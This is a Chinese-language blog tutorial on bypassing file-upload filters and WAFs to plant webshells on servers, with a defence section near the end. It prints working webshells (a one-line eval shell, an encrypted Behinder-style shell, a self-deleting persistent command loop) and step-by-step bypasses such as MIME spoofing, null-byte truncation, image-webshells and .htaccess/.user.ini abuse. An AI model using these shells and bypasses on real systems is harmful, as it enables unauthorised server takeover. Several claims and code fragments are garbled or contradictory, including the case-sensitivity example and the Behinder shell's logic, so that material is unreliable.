文件上传漏洞:我是如何绕过WAF实现getshell的

文件上传漏洞:我是如何绕过WAF实现getshell的

作者:浅木·先生

前言

文件上传漏洞是Web安全中最"简单粗暴"的漏洞之一------不需要复杂的绕过,不需要高深的技术,只要找到一个可以上传文件的地方,上传一个Webshell,马上就能拿到服务器权限。

但它也是实战中利用成功率最高的漏洞之一。业务系统需要用户上传头像、附件、文档,上传功能无处不在,而其中相当一部分存在校验不严的问题。

本文系统讲解文件上传漏洞的成因、绕过技巧和实战利用,帮你掌握这个渗透测试中的"一把钥匙"。


一、文件上传漏洞原理

1.1 漏洞成因

文件上传漏洞的本质是:服务器对用户上传的文件没有做充分的验证和限制,导致攻击者上传了不该上传的文件类型(如Webshell),并在服务器上被执行。

php 复制代码
// 存在漏洞的代码示例
$upload = $_FILES['upload'];
move_uploaded_file($upload['tmp_name'], '/var/www/html/' . $upload['name']);
// 没有任何验证,直接保存到Web目录

正常用户上传:avatar.jpg → 服务器存储

攻击者上传:shell.php → 服务器执行 → getshell

1.2 危害等级

文件上传漏洞的最终危害取决于上传文件的执行效果:

上传文件类型 潜在危害
Webshell(PHP/ASP/JSP) 直接RCE,最高危
HTML/SVG 存储型XSS
恶意文件(EXE/BAT) 诱导用户下载执行
.htaccess/.user.ini 重绑定MIME或触发PHP后门
大文件 消耗服务器磁盘/DOS

二、常见的上传绕过技巧

2.1 前端绕过

仅依赖JavaScript在客户端做校验,攻击者可直接禁用JS或抓包修改。

javascript 复制代码
// 前端JS校验代码示例
function checkUpload() {
    var file = document.getElementById("file").value;
    if (file == "") {
        alert("请选择文件");
        return false;
    }
    var ext = file.split(".")[1].toLowerCase();
    if (ext != "jpg" && ext != "png") {
        alert("只允许上传jpg/png图片");
        return false;
    }
    return true;
}

绕过方法:

  1. 禁用JavaScript: 浏览器设置中关闭JS,或用BurpSuite抓包修改
  2. 抓包修改: 先上传合法图片,拦截响应改后缀为.php
  3. F12修改代码: 直接删除表单的onsubmit事件

2.2 MIME类型绕过

服务器校验Content-Type头,攻击者抓包修改为合法MIME类型。

bash 复制代码
# 正常上传时,BurpSuite拦截,修改Content-Type
Content-Type: application/x-php  # ← 改为下面这个
Content-Type: image/jpeg

常见MIME类型对应:

文件类型 MIME值
JPG图片 image/jpeg
PNG图片 image/png
GIF图片 image/gif
HTML text/html
PHP application/x-php
ASP application/x-asp

2.3 扩展名绕过

黑名单方式过滤文件扩展名,但黑名单往往不完整。

常见扩展名变体:

原始扩展 绕过变体
.php .php3 .php4 .php5 .phtml .phar .pht
.asp .aspx .asa .cer .cdx .asax
.jsp .jspx .jspf .jse

Apache多后缀解析:

复制代码
shell.php.jpg  → Apache从右往左解析,遇到.php就以PHP执行

Nginx CGI解析漏洞:

复制代码
shell.jpg%00php  → 截断后以PHP执行
shell.jpg/      → 某些配置下以PHP执行

2.4 大小写绕过

Windows系统不区分大小写,Linux区分。利用这一点:

复制代码
shell.PhP     → Windows可解析为shell.PhP(绕过大小写过滤)
shell.php    → Linux无法解析,但Windows可以

2.5 空格或点绕过(Windows特性)

Windows文件末尾的空格和点会被自动去除:

bash 复制代码
# 上传时抓包,在文件名末尾加空格或点
shell.php   (末尾有空格)
shell.php.  (末尾有点)

注意: 需要BurpSuite拦截修改,手动在文件名后加%20.

2.6 双写绕过

某些WAF会删除文件名中的敏感字符(如.php),使用双写可以绕过:

复制代码
shell.pphphp  → 删除中间的.php后剩下shell.php

三、00截断绕过

00截断是文件上传绕过中最经典的手法之一。

3.1 原理

%00是空字符(NULL)的URL编码。在某些函数处理文件路径时,遇到%00会认为是字符串结束符,截断后面的内容。

3.2 实战利用

php 复制代码
// 存在00截断漏洞的代码
$filename = $_GET['filename'];
$ext = $_GET['ext'];
// 保存为 /uploads/ + filename + . + ext
// 访问:/uploads/avatar.php%00.jpg  → 实际保存为avatar.php
bash 复制代码
# 上传时构造URL
POST /upload.php?filename=shell.php&ext=jpg
# Body中:
filename=shell.php%00.jpg
# 服务器拿到filename后,遇到%00截断,实际保存为shell.php

条件: PHP版本 < 5.3.4,且magic_quotes_gpc=off

3.3 0x00截断

在二进制层面修改文件头,将00(十六进制)注入到文件名中:

复制代码
avatar.php%00.jpg → avatar.php + \x00 + .jpg

四、配合文件包含实现上传绕过

很多上传点限制了上传文件类型,不允许直接上传PHP,但如果存在文件包含漏洞,可以将其他格式文件"转化"为PHP执行。

4.1 图片马制作

bash 复制代码
# 制作图片马:在一个正常JPG文件末尾追加PHP代码
echo '<?php eval($_POST[cmd]);?>' >> shell.jpg

# 或者用copy命令
copy normal.jpg /b + shell.php /b shell.jpg

利用方式:

复制代码
# 先上传图片马 shell.jpg
# 如果存在本地文件包含:
?file=shell.jpg
# 文件包含会执行PHP代码,getshell

4.2 .htaccess和.user.ini

.htaccess(Apache):

apache 复制代码
# 上传一个.htaccess,内容如下
AddType application/x-httpd-php .jpg
# 然后上传shell.jpg,Apache会将.jpg当作PHP执行

.user.ini(PHP):

ini 复制代码
# 上传.user.ini,内容
auto_prepend_file=shell.jpg
# 目录下所有PHP文件都会先包含shell.jpg

五、实战利用流程

5.1 标准getshell流程

复制代码
步骤1:找到上传点(头像/附件/文档上传)
步骤2:测试允许的文件类型(jpg/png/pdf/zip)
步骤3:尝试绕过(改MIME/大小写/%00截断/双写)
步骤4:上传Webshell
步骤5:访问shell路径,用菜刀/冰蝎连接
步骤6:获得服务器权限

5.2 一句话木马与Webshell工具

最简单的一句话木马:

php 复制代码
<?php @eval($_POST['pass']); ?>

冰蝎3 Webshell(免杀能力强):

php 复制代码
<?php
@error_reporting(0);
session_start();
$key = "e45e329feb5d2"; // 密钥
$_SESSION['k'] = $key;
$post = file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
    $t = "base64_decode";
}
else
{
    $t = "base64_decode";
    $post = $t(substr($post,22));
}
$data = $t($post);
if(@array_key_exists('key',$_SESSION))
{
    $key = $_SESSION['key'];
    $off = function_exists("openssl_decrypt");
    $buf = $off ? openssl_decrypt($data, "AES128", $key) : $data;
    $莎 = strpos($buf,":");  // 这里用了中文字符混淆
    if($莎){
        @eval(substr($buf,$莎+1));
    }
}
?>

5.3 无文件webshell(内存马)

如果上传点被修复,还可以尝试直接写入内存马(不死马):

php 复制代码
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
    $cmd = $_POST['x'];
    echo `$cmd`;
    sleep(5);
}
?>

六、文件上传漏洞防御

6.1 代码层面防御

扩展名白名单(最佳方案):

php 复制代码
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$file_ext = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);
if (!in_array($file_ext, $allowed_ext)) {
    die("不支持的文件类型");
}

MIME类型校验:

php 复制代码
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['upload']['type'], $allowed_mime)) {
    die("禁止上传");
}

上传目录不可执行:

php 复制代码
// 将上传文件保存到Web目录之外
$upload_dir = '/var/www/uploads/';
move_uploaded_file($_FILES['upload']['tmp_name'], $upload_dir . $filename);
// 同时需要配置Web服务器,禁止访问/uploads/目录下的PHP文件

6.2 服务器配置防御

Nginx配置:

nginx 复制代码
location /uploads/ {
    alias /var/www/uploads/;
    location ~ \.php$ {
        deny all;
    }
}

Apache配置:

apache 复制代码
<Directory "/var/www/uploads">
    <FilesMatch ".php.*">
        Order deny,allow
        Deny from all
    </FilesMatch>
</Directory>

6.3 通用安全建议

  • 禁止上传目录的脚本执行权限(最有效)
  • 文件重命名(上传后用随机字符串命名)
  • 文件内容检测(检查文件头是否为真正的图片)
  • 存储位置隔离(不要放在Web可访问目录)

总结

文件上传漏洞的核心是服务器对上传文件的类型和路径没有做严格控制

绕过前端的本质是抓包修改;绕过服务器校验的核心是00截断、扩展名变体、配合文件包含 。而最好的防御是白名单 + 上传目录不可执行

在渗透测试中,文件上传往往是最快的突破口,遇到上传点不要跳过,多试试各种绕过手法。


关于作者

作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。

如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以私信留言,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈 浅木·先生

相关推荐
路baby2 小时前
CSRF漏洞详细讲解 并基于pikachu靶场实战演示
网络·网络协议·安全·web安全·网络安全·网络攻击模型·csrf
聚铭网络11 小时前
【一周安全资讯0509】《网络安全技术 网络安全漏洞分类分级指南》等5项国家公开标准意见;DENIC报告德国国家域名.de出现解析故障
安全·web安全
wanhengidc16 小时前
服务器中带宽的重要性
运维·服务器·网络·安全·web安全
Lust Dusk18 小时前
移动安全资产--MobSF工具搭建教程
网络·安全·web安全·安全架构
其实防守也摸鱼1 天前
Upload-labs:部署靶场及Pass-01实战解析
服务器·网络·安全·web安全·教程·文件上传·工具
菱玖1 天前
等保2.0及其测评
网络·安全·web安全
Nanhuiyu1 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 延迟注入(无防护)
web安全·sql注入·白帽江湖·延迟注入
一只IT攻城狮1 天前
️ Spring Boot 文件上传,防御恶意文件攻击
java·spring boot·web安全
Nanhuiyu1 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 布尔盲注(无防护)
web安全·sql注入·布尔盲注·白帽江湖